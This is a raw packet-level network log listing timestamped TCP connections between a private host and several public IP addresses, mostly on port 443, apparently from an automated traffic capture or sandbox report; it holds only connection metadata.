Oct 4, 2024 15:53:38.423989058 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.424134970 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.424156904 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.424288034 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.424300909 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.424575090 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.424597979 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.424599886 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.424603939 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.424966097 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.424972057 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.426271915 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.426570892 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.426604033 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.426956892 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.426966906 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.535595894 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.535676956 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.535732985 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.536134958 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.536159039 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.536169052 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.536175966 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.536657095 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.536721945 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.536767006 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.536849976 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.536874056 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.536886930 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.536892891 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.537604094 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.537655115 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.537704945 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.538316965 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.538383961 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.538430929 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.538599968 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.538614035 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.538625002 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.538630009 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.540225983 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.540260077 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.540329933 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.540677071 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.540698051 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.540712118 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.540718079 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.541035891 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.541048050 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.541661024 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.541692019 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.541773081 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.542253017 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.542265892 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.543040037 CEST	49738	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.543047905 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.543109894 CEST	49738	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.543256044 CEST	49738	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.543267965 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.543746948 CEST	49739	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.543765068 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.543833017 CEST	49739	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.543919086 CEST	49739	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.543931961 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.581815958 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.582400084 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.582417965 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.582870960 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.582875967 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.758353949 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.758503914 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.758567095 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.758672953 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.758696079 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.758707047 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.758712053 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.761893034 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.761926889 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.761996031 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.762171030 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.762182951 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.228271008 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.228686094 CEST	49739	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.228693008 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.229106903 CEST	49739	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.229111910 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.230525017 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.230768919 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.230777979 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.231102943 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.231107950 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.231914997 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.232110977 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.232147932 CEST	49738	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.232153893 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.232495070 CEST	49738	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.232498884 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.232641935 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.232652903 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.232960939 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.232964993 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.335035086 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.335190058 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.335304022 CEST	49738	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.335331917 CEST	49738	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.335347891 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.335371017 CEST	49738	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.335376978 CEST	443	49738	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.336791039 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.336894035 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.336915016 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.336946964 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.336971045 CEST	49739	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.336990118 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.337011099 CEST	49739	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.337024927 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.337034941 CEST	49739	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.337039948 CEST	443	49739	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.337063074 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.337069035 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.337080956 CEST	49737	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.337084055 CEST	443	49737	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.338661909 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.338705063 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.339247942 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.339281082 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.339334965 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.339345932 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.339421988 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.339430094 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.339498043 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.339509010 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.339617968 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.339658976 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.339720011 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.339869022 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.339885950 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.340513945 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.340567112 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.340670109 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.340691090 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.340698004 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.340708017 CEST	49736	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.340725899 CEST	443	49736	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.342463970 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.342499971 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.342559099 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.342657089 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.342670918 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.410896063 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.411690950 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.411709070 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.412201881 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.412208080 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.513896942 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.514062881 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.514240980 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.514404058 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.514422894 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.514467001 CEST	49740	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.514475107 CEST	443	49740	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.516824007 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.516871929 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.516963005 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.517090082 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.517102957 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.566955090 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 4, 2024 15:53:39.984842062 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.985487938 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.985507965 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.986618042 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.988133907 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.988138914 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.988501072 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.988523006 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:39.989087105 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:39.989090919 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.009843111 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.011665106 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.011678934 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.012173891 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.012180090 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.088838100 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.088912964 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.089037895 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.089204073 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.089222908 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.089237928 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.089245081 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.089288950 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.089476109 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.089536905 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.090301991 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.090320110 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.090358973 CEST	49744	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.090363979 CEST	443	49744	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.093183041 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.093204021 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.093266010 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.093555927 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.093566895 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.094074965 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.094120026 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.095390081 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.095469952 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.095489025 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.119576931 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.119662046 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.119822025 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.119919062 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.119919062 CEST	49743	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.119935036 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.119945049 CEST	443	49743	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.122097015 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.122144938 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.122255087 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.122359991 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.122370005 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.158088923 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.159890890 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.159921885 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.160376072 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.160387039 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.246546984 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.261239052 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.261315107 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.261389017 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.284807920 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.284821987 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.285235882 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.285242081 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.285500050 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.285530090 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.285545111 CEST	49746	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.285552025 CEST	443	49746	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.386147022 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.386209965 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.386290073 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.415324926 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.415359974 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.612984896 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.613076925 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.613205910 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.626506090 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.626532078 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.626718044 CEST	49742	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.626728058 CEST	443	49742	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.635170937 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.635210991 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.635334969 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.640696049 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.640717983 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.757626057 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.764029980 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.764054060 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.764930010 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.764945984 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.777682066 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.778487921 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.778513908 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.780668974 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.780685902 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.801322937 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.802050114 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.802073956 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.802550077 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.802558899 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.862380028 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.862458944 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.862521887 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.884763956 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.884833097 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.884896040 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.887263060 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.887294054 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.887305975 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.887312889 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.889448881 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.889475107 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.889579058 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.889585972 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.903069019 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.903119087 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.903306007 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.903682947 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.903736115 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.903846025 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.903848886 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.903862953 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.904097080 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.904114008 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.906884909 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.906965971 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.907017946 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.907325029 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.907344103 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.907354116 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.907360077 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.910830021 CEST	49671	443	192.168.2.10	204.79.197.203
Oct 4, 2024 15:53:40.913136959 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.913167000 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:40.913229942 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.913384914 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:40.913400888 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.026882887 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:41.026923895 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:41.037935019 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:41.042171955 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:41.084928036 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.085565090 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.085613012 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.086199999 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.086208105 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.190999985 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.191072941 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.191242933 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.191643953 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.191667080 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.191680908 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.191687107 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.197470903 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.197520018 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.197638035 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.197834969 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.197844982 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.312808037 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.313411951 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.313429117 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.313925982 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:41.313931942 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.415469885 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.415539026 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:41.415638924 CEST	49752	443	192.168.2.10	13.107.246.60
